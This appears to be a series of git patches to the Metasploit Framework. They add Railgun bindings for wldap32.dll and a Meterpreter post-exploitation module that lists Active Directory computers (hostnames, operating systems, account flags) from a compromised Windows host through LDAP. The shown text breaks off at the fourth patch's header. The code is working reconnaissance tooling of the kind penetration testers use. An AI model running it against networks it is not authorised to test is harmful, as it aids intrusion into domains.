From e057467329e98ff334820916e924d601af3371f8 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 18 Nov 2012 21:24:49 +0000 Subject: [PATCH 001/129] Initial attempt --- .../stdapi/railgun/def/def_wldap32.rb | 34 + .../extensions/stdapi/railgun/railgun.rb | 597 +++++++++--------- 2 files changed, 333 insertions(+), 298 deletions(-) create mode 100644 lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb new file mode 100644 index 0000000000..e13e618f54 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -0,0 +1,34 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_wldap32 + + def self.create_dll(dll_path = 'wldap32') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function( 'ldap_sslinitW', 'PDWORD',[ + ['PCHAR', 'HostName', 'in'], + ['DWORD', 'PortNumber', 'in'], + ['DWORD', 'secure', 'in'] + ]) + + dll.add_function( 'ldap_simple_bind_sW', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'dn', 'in'], + ['PCHAR', 'passwd', 'in'] + ]) + + return dll + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 549cc8aa28..9c5dc4651c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -1,298 +1,299 @@ -# -*- coding: binary -*- -# Copyright (c) 2010, patrickHVE@googlemail.com -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# * Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# * Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# * The names of the author may not be used to endorse or promote products -# derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -# DISCLAIMED. IN NO EVENT SHALL patrickHVE@googlemail.com BE LIABLE FOR ANY -# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -# -# sf - Sept 2010 - Modified for x64 support and merged into the stdapi extension. -# - -# -# chao - June 2011 - major overhaul of dll lazy loading, caching, and bit of everything -# - -require 'pp' -require 'enumerator' - -require 'rex/post/meterpreter/extensions/stdapi/railgun/api_constants' -require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' -require 'rex/post/meterpreter/extensions/stdapi/railgun/util' -require 'rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager' -require 'rex/post/meterpreter/extensions/stdapi/railgun/multicall' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper' - -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Railgun - - -# -# The Railgun class to dynamically expose the Windows API. -# -class Railgun - - # - # Railgun::DLL's that have builtin definitions. - # - # If you want to add additional DLL definitions to be preloaded create a - # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'. - # Naming is important and should follow convention. For example, if your - # dll's name was "my_dll" - # file name: def_my_dll.rb - # class name: Def_my_dll - # entry below: 'my_dll' - # - BUILTIN_DLLS = [ - 'kernel32', - 'ntdll', - 'user32', - 'ws2_32', - 'iphlpapi', - 'advapi32', - 'shell32', - 'netapi32', - 'crypt32', - 'wlanapi', - ].freeze - - ## - # Returns a Hash containing DLLs added to this instance with #add_dll - # as well as references to any frozen cached dlls added directly in #get_dll - # and copies of any frozen dlls (added directly with #add_function) - # that the user attempted to modify with #add_function. - # - # Keys are friendly DLL names and values are the corresponding DLL instance - attr_accessor :dlls - - ## - # Contains a reference to the client that corresponds to this instance of railgun - attr_accessor :client - - ## - # These DLLs are loaded lazily and then shared amongst all railgun instances. - # For safety reasons this variable should only be read/written within #get_dll. - @@cached_dlls = {} - - # if you are going to touch @@cached_dlls, wear protection - @@cache_semaphore = Mutex.new - - def initialize(client) - self.client = client - self.dlls = {} - end - - def self.builtin_dlls - BUILTIN_DLLS - end - - # - # Return this Railgun's Util instance. - # - def util - if @util.nil? - @util = Util.new(self, client.platform) - end - - return @util - end - - # - # Return this Railgun's WinConstManager instance, initially populated with - # constants defined in ApiConstants. - # - def constant_manager - # Loads lazily - return ApiConstants.manager - end - - # - # Read data from a memory address on the host (useful for working with - # LPVOID parameters) - # - def memread(address, length) - - raise "Invalid parameters." if(not address or not length) - - request = Packet.create_request('stdapi_railgun_memread') - - request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) - request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) - - response = client.send_request(request) - if(response.result == 0) - return response.get_tlv_value(TLV_TYPE_RAILGUN_MEM_DATA) - end - - return nil - end - - # - # Write data to a memory address on the host (useful for working with - # LPVOID parameters) - # - def memwrite(address, data, length) - - raise "Invalid parameters." if(not address or not data or not length) - - request = Packet.create_request('stdapi_railgun_memwrite') - - request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) - request.add_tlv(TLV_TYPE_RAILGUN_MEM_DATA, data) - request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) - - response = client.send_request(request) - if(response.result == 0) - return true - end - - return false - end - - # - # Adds a function to an existing DLL definition. - # - # If the DLL definition is frozen (ideally this should be the case for all - # cached dlls) an unfrozen copy is created and used henceforth for this - # instance. - # - def add_function(dll_name, function_name, return_type, params, windows_name=nil) - - unless known_dll_names.include?(dll_name) - raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, "")}" - end - - dll = get_dll(dll_name) - - # For backwards compatibility, we ensure the dll is thawed - if dll.frozen? - # Duplicate not only the dll, but its functions as well. Frozen status will be lost - dll = Marshal.load(Marshal.dump(dll)) - - # Update local dlls with the modifiable duplicate - dlls[dll_name] = dll - end - - dll.add_function(function_name, return_type, params, windows_name) - end - - # - # Adds a DLL to this Railgun. - # - # The +windows_name+ is the name used on the remote system and should be - # set appropriately if you want to include a path or the DLL name contains - # non-ruby-approved characters. - # - # Raises an exception if a dll with the given name has already been - # defined. - # - def add_dll(dll_name, windows_name=dll_name) - - if dlls.has_key? dll_name - raise "A DLL of name #{dll_name} has already been loaded." - end - - dlls[dll_name] = DLL.new(windows_name, constant_manager) - end - - - def known_dll_names - return BUILTIN_DLLS | dlls.keys - end - - # - # Attempts to provide a DLL instance of the given name. Handles lazy - # loading and caching. Note that if a DLL of the given name does not - # exist, returns nil - # - def get_dll(dll_name) - - # If the DLL is not local, we now either load it from cache or load it lazily. - # In either case, a reference to the dll is stored in the collection "dlls" - # If the DLL can not be found/created, no actions are taken - unless dlls.has_key? dll_name - # We read and write to @@cached_dlls and rely on state consistency - @@cache_semaphore.synchronize do - if @@cached_dlls.has_key? dll_name - dlls[dll_name] = @@cached_dlls[dll_name] - elsif BUILTIN_DLLS.include? dll_name - # I highly doubt this case will ever occur, but I am paranoid - if dll_name !~ /^\w+$/ - raise "DLL name #{dll_name} is bad. Correct Railgun::BUILTIN_DLLS" - end - - require 'rex/post/meterpreter/extensions/stdapi/railgun/def/def_' << dll_name - dll = Def.const_get('Def_' << dll_name).create_dll.freeze - - @@cached_dlls[dll_name] = dll - dlls[dll_name] = dll - end - end - - end - - return dlls[dll_name] - end - - # - # Fake having members like user32 and kernel32. - # reason is that - # ...user32.MessageBoxW() - # is prettier than - # ...dlls["user32"].functions["MessageBoxW"]() - # - def method_missing(dll_symbol, *args) - dll_name = dll_symbol.to_s - - unless known_dll_names.include? dll_name - raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}" - end - - dll = get_dll(dll_name) - - return DLLWrapper.new(dll, client) - end - - # - # Return a Windows constant matching +str+. - # - def const(str) - return constant_manager.parse(str) - end - - # - # The multi-call shorthand (["kernel32", "ExitProcess", [0]]) - # - def multi(functions) - if @multicaller.nil? - @multicaller = MultiCaller.new(client, self) - end - - return @multicaller.call(functions) - end -end - -end; end; end; end; end; end +# -*- coding: binary -*- +# Copyright (c) 2010, patrickHVE@googlemail.com +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * The names of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL patrickHVE@googlemail.com BE LIABLE FOR ANY +# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# +# sf - Sept 2010 - Modified for x64 support and merged into the stdapi extension. +# + +# +# chao - June 2011 - major overhaul of dll lazy loading, caching, and bit of everything +# + +require 'pp' +require 'enumerator' + +require 'rex/post/meterpreter/extensions/stdapi/railgun/api_constants' +require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' +require 'rex/post/meterpreter/extensions/stdapi/railgun/util' +require 'rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager' +require 'rex/post/meterpreter/extensions/stdapi/railgun/multicall' +require 'rex/post/meterpreter/extensions/stdapi/railgun/dll' +require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun + + +# +# The Railgun class to dynamically expose the Windows API. +# +class Railgun + + # + # Railgun::DLL's that have builtin definitions. + # + # If you want to add additional DLL definitions to be preloaded create a + # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'. + # Naming is important and should follow convention. For example, if your + # dll's name was "my_dll" + # file name: def_my_dll.rb + # class name: Def_my_dll + # entry below: 'my_dll' + # + BUILTIN_DLLS = [ + 'kernel32', + 'ntdll', + 'user32', + 'ws2_32', + 'iphlpapi', + 'advapi32', + 'shell32', + 'netapi32', + 'crypt32', + 'wlanapi', + 'wldap32' + ].freeze + + ## + # Returns a Hash containing DLLs added to this instance with #add_dll + # as well as references to any frozen cached dlls added directly in #get_dll + # and copies of any frozen dlls (added directly with #add_function) + # that the user attempted to modify with #add_function. + # + # Keys are friendly DLL names and values are the corresponding DLL instance + attr_accessor :dlls + + ## + # Contains a reference to the client that corresponds to this instance of railgun + attr_accessor :client + + ## + # These DLLs are loaded lazily and then shared amongst all railgun instances. + # For safety reasons this variable should only be read/written within #get_dll. + @@cached_dlls = {} + + # if you are going to touch @@cached_dlls, wear protection + @@cache_semaphore = Mutex.new + + def initialize(client) + self.client = client + self.dlls = {} + end + + def self.builtin_dlls + BUILTIN_DLLS + end + + # + # Return this Railgun's Util instance. + # + def util + if @util.nil? + @util = Util.new(self, client.platform) + end + + return @util + end + + # + # Return this Railgun's WinConstManager instance, initially populated with + # constants defined in ApiConstants. + # + def constant_manager + # Loads lazily + return ApiConstants.manager + end + + # + # Read data from a memory address on the host (useful for working with + # LPVOID parameters) + # + def memread(address, length) + + raise "Invalid parameters." if(not address or not length) + + request = Packet.create_request('stdapi_railgun_memread') + + request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) + request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) + + response = client.send_request(request) + if(response.result == 0) + return response.get_tlv_value(TLV_TYPE_RAILGUN_MEM_DATA) + end + + return nil + end + + # + # Write data to a memory address on the host (useful for working with + # LPVOID parameters) + # + def memwrite(address, data, length) + + raise "Invalid parameters." if(not address or not data or not length) + + request = Packet.create_request('stdapi_railgun_memwrite') + + request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) + request.add_tlv(TLV_TYPE_RAILGUN_MEM_DATA, data) + request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) + + response = client.send_request(request) + if(response.result == 0) + return true + end + + return false + end + + # + # Adds a function to an existing DLL definition. + # + # If the DLL definition is frozen (ideally this should be the case for all + # cached dlls) an unfrozen copy is created and used henceforth for this + # instance. + # + def add_function(dll_name, function_name, return_type, params, windows_name=nil) + + unless known_dll_names.include?(dll_name) + raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, "")}" + end + + dll = get_dll(dll_name) + + # For backwards compatibility, we ensure the dll is thawed + if dll.frozen? + # Duplicate not only the dll, but its functions as well. Frozen status will be lost + dll = Marshal.load(Marshal.dump(dll)) + + # Update local dlls with the modifiable duplicate + dlls[dll_name] = dll + end + + dll.add_function(function_name, return_type, params, windows_name) + end + + # + # Adds a DLL to this Railgun. + # + # The +windows_name+ is the name used on the remote system and should be + # set appropriately if you want to include a path or the DLL name contains + # non-ruby-approved characters. + # + # Raises an exception if a dll with the given name has already been + # defined. + # + def add_dll(dll_name, windows_name=dll_name) + + if dlls.has_key? dll_name + raise "A DLL of name #{dll_name} has already been loaded." + end + + dlls[dll_name] = DLL.new(windows_name, constant_manager) + end + + + def known_dll_names + return BUILTIN_DLLS | dlls.keys + end + + # + # Attempts to provide a DLL instance of the given name. Handles lazy + # loading and caching. Note that if a DLL of the given name does not + # exist, returns nil + # + def get_dll(dll_name) + + # If the DLL is not local, we now either load it from cache or load it lazily. + # In either case, a reference to the dll is stored in the collection "dlls" + # If the DLL can not be found/created, no actions are taken + unless dlls.has_key? dll_name + # We read and write to @@cached_dlls and rely on state consistency + @@cache_semaphore.synchronize do + if @@cached_dlls.has_key? dll_name + dlls[dll_name] = @@cached_dlls[dll_name] + elsif BUILTIN_DLLS.include? dll_name + # I highly doubt this case will ever occur, but I am paranoid + if dll_name !~ /^\w+$/ + raise "DLL name #{dll_name} is bad. Correct Railgun::BUILTIN_DLLS" + end + + require 'rex/post/meterpreter/extensions/stdapi/railgun/def/def_' << dll_name + dll = Def.const_get('Def_' << dll_name).create_dll.freeze + + @@cached_dlls[dll_name] = dll + dlls[dll_name] = dll + end + end + + end + + return dlls[dll_name] + end + + # + # Fake having members like user32 and kernel32. + # reason is that + # ...user32.MessageBoxW() + # is prettier than + # ...dlls["user32"].functions["MessageBoxW"]() + # + def method_missing(dll_symbol, *args) + dll_name = dll_symbol.to_s + + unless known_dll_names.include? dll_name + raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}" + end + + dll = get_dll(dll_name) + + return DLLWrapper.new(dll, client) + end + + # + # Return a Windows constant matching +str+. + # + def const(str) + return constant_manager.parse(str) + end + + # + # The multi-call shorthand (["kernel32", "ExitProcess", [0]]) + # + def multi(functions) + if @multicaller.nil? + @multicaller = MultiCaller.new(client, self) + end + + return @multicaller.call(functions) + end +end + +end; end; end; end; end; end From b5fd3463d70e01c6154551033312bbfd11ff96da Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 17 Dec 2012 14:07:35 +0000 Subject: [PATCH 002/129] Initial working AD_LDAP lookup --- .../stdapi/railgun/def/def_wldap32.rb | 78 ++++++++- .../post/windows/gather/enum_ad_computers.rb | 163 ++++++++++++++++++ 2 files changed, 235 insertions(+), 6 deletions(-) create mode 100644 modules/post/windows/gather/enum_ad_computers.rb diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb index e13e618f54..ff19667fbd 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -7,23 +7,89 @@ module Stdapi module Railgun module Def -class Def_wldap32 +class Def_wlanapi def self.create_dll(dll_path = 'wldap32') dll = DLL.new(dll_path, ApiConstants.manager) - - dll.add_function( 'ldap_sslinitW', 'PDWORD',[ + + dll.add_function('ldap_sslinitA', 'DWORD',[ ['PCHAR', 'HostName', 'in'], ['DWORD', 'PortNumber', 'in'], ['DWORD', 'secure', 'in'] ]) - - dll.add_function( 'ldap_simple_bind_sW', 'DWORD',[ + + dll.add_function('ldap_bind_sA', 'DWORD',[ ['DWORD', 'ld', 'in'], ['PCHAR', 'dn', 'in'], - ['PCHAR', 'passwd', 'in'] + ['PCHAR', 'cred', 'in'], + ['DWORD', 'method', 'in'] + ]) + + dll.add_function('ldap_search_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'base', 'in'], + ['DWORD', 'scope', 'in'], + ['PCHAR', 'filter', 'in'], + ['PCHAR', 'attrs[]', 'in'], + ['DWORD', 'attrsonly', 'in'], + ['PDWORD', 'res', 'out'] ]) + dll.add_function('ldap_count_entries', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + dll.add_function('ldap_first_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + + dll.add_function('ldap_next_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'] + ]) + + dll.add_function('ldap_first_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'in'] + ]) + + dll.add_function('ldap_next_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'inout'] + ]) + + dll.add_function('ldap_count_values', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_get_values', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['PCHAR', 'attr', 'in'] + ]) + + dll.add_function('ldap_value_free', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_memfree', 'VOID',[ + ['DWORD', 'block', 'in'], + ]) + + dll.add_function('ber_free', 'VOID',[ + ['DWORD', 'pBerElement', 'in'], + ['DWORD', 'fbuf', 'in'], + ]) + + dll.add_function('LdapGetLastError', 'DWORD',[]) + + dll.add_function('ldap_err2string', 'DWORD',[ + ['DWORD', 'err', 'in'] + ]) + return dll end diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb new file mode 100644 index 0000000000..6456685018 --- /dev/null +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -0,0 +1,163 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +# Multi platform requiere +require 'msf/core/post/common' +require 'msf/core/post/file' + +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Enumerate Computers', + 'Description' => %q{ + This module will enumerate computers included in the primary Domain. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell '], + 'Platform' => [ 'win'], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + # Run Method for when run command is issued + def run + + attributes = [ 'dNSHostName', 'distinguishedName', 'description', 'operatingSystem', 'operatingSystemServicePack', 'serverReferenceBL', 'userAccountControl'] + #attributes = [ 'objectClass','cn', 'description', 'distinguishedName','instanceType','whenCreated', + # 'whenChanged','uSNCreated','uSNChanged','name','objectGUID', + # 'userAccountControl','badPwdCount','codePage','countryCode', + # 'badPasswordTime','lastLogoff','lastLogon','localPolicyFlags', + # 'pwdLastSet','primaryGroupID','objectSid','accountExpires', + # 'logonCount','sAMAccountName','sAMAccountType','operatingSystem', + # 'operatingSystemVersion','operatingSystemServicePack','serverReferenceBL', + # 'dNSHostName','rIDSetPreferences','servicePrincipalName','objectCategory', + # 'netbootSCPBL','isCriticalSystemObject','frsComputerReferenceBL', + # 'lastLogonTimestamp','msDS-SupportedEncryptionTypes' + # ] + + print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? + unless client.railgun.known_dll_names.include? 'wldap32' + print_status ("Adding wldap32.dll") + client.railgun.add_dll('wldap32','C:\\WINDOWS\\system32\\wldap32.dll') + end + wldap32 = client.railgun.wldap32 + + + + print_status ("Initialize LDAP connection.") + ldap_handle = wldap32.ldap_sslinitA(nil, 389, 0)['return'] + vprint_status("LDAP Handle: #{ldap_handle}") + + + + print_status ("Bindings to LDAP server.") + bind = wldap32.ldap_bind_sA(ldap_handle, nil, nil, 0x0486) #LDAP_AUTH_NEGOTIATE < add to ../api_constants.rb? + + + print_status ("Searching LDAP directory.") + + lDAP_SCOPE_BASE = 0 + lDAP_SCOPE_ONELEVEL = 1 + lDAP_SCOPE_SUBTREE = 2 + + base = "DC=test,DC=lab" + scope = lDAP_SCOPE_SUBTREE + + search = wldap32.ldap_search_sA(ldap_handle, base, scope, "(objectClass=computer)", nil, 0, 4) + vprint_status("search: #{search}") + + if search['return'] != 0 + client.railgun.add_function('wldap32', 'ldap_msgfree', 'DWORD', [ + ['DWORD', 'res', 'in'] + ]) + + wldap32.ldap_msgfree(search['res']) + + print_error("No results") + return + end + + print_status ("Counting number of search results") + search_count = wldap32.ldap_count_entries(ldap_handle, search['res'])['return'] + vprint_status("Search count: #{search_count}") + + + print_status("Retrieve results") + entries = {} + for i in 0..(search_count-1) + print_line "-"*46 + if i==0 + entries[i] = wldap32.ldap_first_entry(ldap_handle, search['res'])['return'] + else + entries[i] = wldap32.ldap_next_entry(ldap_handle, entries[i-1])['return'] + end + vprint_status("Entry #{i}: #{entries[i]}") + + #addr = valloc + #attribute = wldap32.ldap_first_attributeA(ldap_handle, entries[i], addr) + #puts attribute + #p_attribute = attribute['return'] + #vprint_status("p_attribute: #{p_attribute}") + #addr2 = client.railgun.memread(addr,16).unpack('V*')[0] + #puts addr2 + #attr = client.railgun.memread(p_attribute, 16) + + attributes.each do |attr| + print_status("Attr: #{attr}") + + pp_value = wldap32.ldap_get_values(ldap_handle, entries[i], attr)['return'] + vprint_status("ppValue: 0x#{pp_value.to_s(16)}") + + if pp_value == 0 + vprint_error("No attribute value returned.") + else + count = wldap32.ldap_count_values(pp_value)['return'] + vprint_status "Value count: #{count}" + + if count < 1 + vprint_error("Bad Value List") + else + for j in 0..(count-1) + p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0] + vprint_status "p_value: 0x#{p_value.to_s(16)}" + value = read_value(p_value) + print_status "Value: #{value}" + end + end + end + + if pp_value != 0 + vprint_status("Free value memory.") + wldap32.ldap_value_free(pp_value) + end + + #puts "free attribute" + #wldap32.ldap_memfree(p_attribute) + + #attribute = wldap32.ldap_next_attributeA(ldap_handle, entries[i], addr2) + #p_attribute = attribute['return'] + #vprint_status("Next Attribute: #{attribute}") + #if p_attribute == 0 + # attr = nil + #else + # attr = client.railgun.memread(p_attribute, 16).strip + #end + end + end + end +end From 6a92bd609ae1727e3c8bdb44d0f7aa699749dc6c Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Mon, 17 Dec 2012 15:29:04 +0000 Subject: [PATCH 003/129] Tidying and refactoring --- .../stdapi/railgun/def/def_wldap32.rb | 6 +- .../post/windows/gather/enum_ad_computers.rb | 61 +++++-------------- 2 files changed, 19 insertions(+), 48 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb index ff19667fbd..93a26496ee 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -7,7 +7,7 @@ module Stdapi module Railgun module Def -class Def_wlanapi +class Def_wldap32 def self.create_dll(dll_path = 'wldap32') dll = DLL.new(dll_path, ApiConstants.manager) @@ -90,6 +90,10 @@ class Def_wlanapi ['DWORD', 'err', 'in'] ]) + dll.add_function('ldap_msgfree', 'DWORD', [ + ['DWORD', 'res', 'in'] + ]) + return dll end diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 6456685018..6572188234 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Enumerate Computers', + 'Name' => 'Windows Gather AD Enumerate Computers', 'Description' => %q{ This module will enumerate computers included in the primary Domain. }, @@ -33,8 +33,13 @@ class Metasploit3 < Msf::Post 'SessionTypes' => [ 'meterpreter' ] )) end + + def read_value(addr) + val_size = client.railgun.memread(addr-4,4).unpack('V*')[0] + value = client.railgun.memread(addr, val_size) + return value.strip + end - # Run Method for when run command is issued def run attributes = [ 'dNSHostName', 'distinguishedName', 'description', 'operatingSystem', 'operatingSystemServicePack', 'serverReferenceBL', 'userAccountControl'] @@ -51,53 +56,36 @@ class Metasploit3 < Msf::Post # ] print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? - unless client.railgun.known_dll_names.include? 'wldap32' - print_status ("Adding wldap32.dll") - client.railgun.add_dll('wldap32','C:\\WINDOWS\\system32\\wldap32.dll') - end - wldap32 = client.railgun.wldap32 - + wldap32 = client.railgun.wldap32 print_status ("Initialize LDAP connection.") ldap_handle = wldap32.ldap_sslinitA(nil, 389, 0)['return'] vprint_status("LDAP Handle: #{ldap_handle}") - - print_status ("Bindings to LDAP server.") - bind = wldap32.ldap_bind_sA(ldap_handle, nil, nil, 0x0486) #LDAP_AUTH_NEGOTIATE < add to ../api_constants.rb? - + bind = wldap32.ldap_bind_sA(ldap_handle, nil, nil, 0x0486) #LDAP_AUTH_NEGOTIATE print_status ("Searching LDAP directory.") - lDAP_SCOPE_BASE = 0 - lDAP_SCOPE_ONELEVEL = 1 - lDAP_SCOPE_SUBTREE = 2 - base = "DC=test,DC=lab" - scope = lDAP_SCOPE_SUBTREE + scope = 2 #LDAP_SCOPE_SUBTREE search = wldap32.ldap_search_sA(ldap_handle, base, scope, "(objectClass=computer)", nil, 0, 4) vprint_status("search: #{search}") if search['return'] != 0 - client.railgun.add_function('wldap32', 'ldap_msgfree', 'DWORD', [ - ['DWORD', 'res', 'in'] - ]) - - wldap32.ldap_msgfree(search['res']) - print_error("No results") + wldap32.ldap_msgfree(search['res']) return end - print_status ("Counting number of search results") search_count = wldap32.ldap_count_entries(ldap_handle, search['res'])['return'] - vprint_status("Search count: #{search_count}") + print_status("Entries retrieved: #{search_count}") - print_status("Retrieve results") + print_status("Retrieving results...") + entries = {} for i in 0..(search_count-1) print_line "-"*46 @@ -107,15 +95,6 @@ class Metasploit3 < Msf::Post entries[i] = wldap32.ldap_next_entry(ldap_handle, entries[i-1])['return'] end vprint_status("Entry #{i}: #{entries[i]}") - - #addr = valloc - #attribute = wldap32.ldap_first_attributeA(ldap_handle, entries[i], addr) - #puts attribute - #p_attribute = attribute['return'] - #vprint_status("p_attribute: #{p_attribute}") - #addr2 = client.railgun.memread(addr,16).unpack('V*')[0] - #puts addr2 - #attr = client.railgun.memread(p_attribute, 16) attributes.each do |attr| print_status("Attr: #{attr}") @@ -145,18 +124,6 @@ class Metasploit3 < Msf::Post vprint_status("Free value memory.") wldap32.ldap_value_free(pp_value) end - - #puts "free attribute" - #wldap32.ldap_memfree(p_attribute) - - #attribute = wldap32.ldap_next_attributeA(ldap_handle, entries[i], addr2) - #p_attribute = attribute['return'] - #vprint_status("Next Attribute: #{attribute}") - #if p_attribute == 0 - # attr = nil - #else - # attr = client.railgun.memread(p_attribute, 16).strip - #end end end end From d91e566d541ba557a0aa9b1b56e2f12985062165 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Wed, 19 Dec 2012 09:06:58 +0000 Subject: [PATCH 004/129] Further refactoring --- .../post/windows/gather/enum_ad_computers.rb | 129 